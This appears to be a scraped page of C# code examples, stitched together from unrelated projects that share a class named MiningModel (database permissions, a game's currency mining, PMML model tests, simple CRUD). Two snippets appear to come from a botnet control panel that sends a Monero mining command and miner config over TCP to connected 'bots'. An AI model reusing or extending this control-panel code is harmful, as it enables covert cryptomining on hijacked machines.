public async Task <IActionResult> ConfigMonero(MiningModel model)
        {
            var method = new BaseCommands
            {
                Method = "Mining"
            };
            var Variables = new MinerVariables
            {
                Link   = model.Link,
                Config = model.Config
            };
            var Command = new MiningCommand
            {
                newMinerVariables = Variables,
                newBaseCommand    = method,
            };
            var bots = new GetBotsByStatusQuery
            {
                status = false//execute online bots
            };
            var botlist = await _mediator.Send(bots);

            var response = CommandExecute.TcpConnects(botlist, JsonConvert.SerializeObject(Command).Replace(@"\", ""));

            return(Json(response));
        }
Ejemplo n.º 2
0
        /*
         * Setup mining permissions; for future use
         */
        private void SetModelPermissions(Database objDb, MiningModel objModel)
        {
            // Create a new role and add members
            Role newRole = new Role("ModelReader", "ModelReader");

            newRole.Members.Add(new RoleMember("redmond\\jamiemac"));
            newRole.Members.Add(new RoleMember("redmond\\zhaotang"));
            newRole.Members.Add(new RoleMember("redmond\\bogdanc"));

            // Add the role to the database and updat
            objDb.Roles.Add(newRole);
            newRole.Update();

            // Create a permission object referring the role
            MiningModelPermission newMiningPermision = new MiningModelPermission();

            newMiningPermision.Name   = "ModelReader";
            newMiningPermision.ID     = "ModelReader";
            newMiningPermision.RoleID = "ModelReader";
            // Assign access rights to the permission
            newMiningPermision.Read              = ReadAccess.Allowed;
            newMiningPermision.AllowBrowsing     = true;
            newMiningPermision.AllowDrillThrough = true;
            newMiningPermision.ReadDefinition    = ReadDefinitionAccess.Allowed;
            // Add permission to the model and update
            objModel.MiningModelPermissions.Add(newMiningPermision);
            newMiningPermision.Update();
        }
Ejemplo n.º 3
0
        public MiningGoal(MiningModel model, Db db, IBuildingService service)
        {
            this.model   = model;
            this.db      = db;
            this.service = service;

            Mining = new ReactiveProperty <bool>();
        }
Ejemplo n.º 4
0
        public int AddMining(MiningModel model)
        {
            var mining = new tbl_Mining()
            {
                State = model.State
            };

            this.db.TblMining.Add(mining);
            this.db.SaveChanges();

            return(mining.IdMining);
        }
Ejemplo n.º 5
0
        public int UpdateMining(MiningModel model)
        {
            var mining = this.db
                         .TblMining
                         .Where(i => i.IdMining == model.IdMining)
                         .FirstOrDefault();

            mining.State = model.State;

            this.db.TblMining.Update(mining);
            this.db.SaveChanges();

            return(mining.IdMining);
        }
 public IActionResult Mining()
 {
     if (User.Claims.FirstOrDefault(c => c.Type == "http://schemas.microsoft.com/ws/2008/06/identity/claims/role").Value != "User")
     {
         var model = new MiningModel
         {
             Config = "-o domain:port -u address -p User:Email -k -a --coin=monero --algo=rx/0-B"
         };
         return(View(model));
     }
     else
     {
         return(RedirectToAction(nameof(HomeController.Index), "Home"));
     }
 }
Ejemplo n.º 7
0
        public void LoadMiningModelTest(string pFilePath)
        {
            Pmml pmml = Pmml.loadModels(pFilePath);

            Assert.NotNull(pmml);

            Assert.AreEqual(1, pmml.Models.Count);

            ModelElement model = pmml.Models[0];

            Assert.IsInstanceOf(typeof(MiningModel), pmml.Models[0]);

            MiningModel miningModel = (MiningModel)model;

            Assert.AreEqual(3, miningModel.Segmentation.Segments.Count);
        }
        public UserModel Mining(MiningModel model)
        {
            var lastCurrent = User.Currency.Current;
            var lastMax     = User.Currency.Max;
            var newCurrent  = new Currency[lastCurrent.Length];

            for (var i = 0; i < lastCurrent.Length; i++)
            {
                var type         = lastCurrent[i].Type;
                var isTargetType = type == model.Currency.Type;
                var current      = lastCurrent[i].Count;
                var max          = lastMax[i].Count;

                if (isTargetType)
                {
                    current = Mathf.Clamp(current + model.Currency.Count, 0, max);
                }

                newCurrent[i] = new Currency(type, current);
            }

            return(new UserModel(new UserCurrency(newCurrent, User.Currency.Max)));
        }
Ejemplo n.º 9
0
        /*
         * Setup mining permissions; for future use
         */
        private void SetModelPermissions(Database objDb, MiningModel objModel)
        {
            // Create a new role and add members
            Role newRole = new Role("ModelReader", "ModelReader");
            newRole.Members.Add(new RoleMember("redmond\\jamiemac"));
            newRole.Members.Add(new RoleMember("redmond\\zhaotang"));
            newRole.Members.Add(new RoleMember("redmond\\bogdanc"));

            // Add the role to the database and updat
            objDb.Roles.Add(newRole);
            newRole.Update();

            // Create a permission object referring the role
            MiningModelPermission newMiningPermision = new MiningModelPermission();
            newMiningPermision.Name = "ModelReader";
            newMiningPermision.ID = "ModelReader";
            newMiningPermision.RoleID = "ModelReader";
            // Assign access rights to the permission
            newMiningPermision.Read = ReadAccess.Allowed;
            newMiningPermision.AllowBrowsing = true;
            newMiningPermision.AllowDrillThrough = true;
            newMiningPermision.ReadDefinition = ReadDefinitionAccess.Allowed;
            // Add permission to the model and update
            objModel.MiningModelPermissions.Add(newMiningPermision);
            newMiningPermision.Update();
        }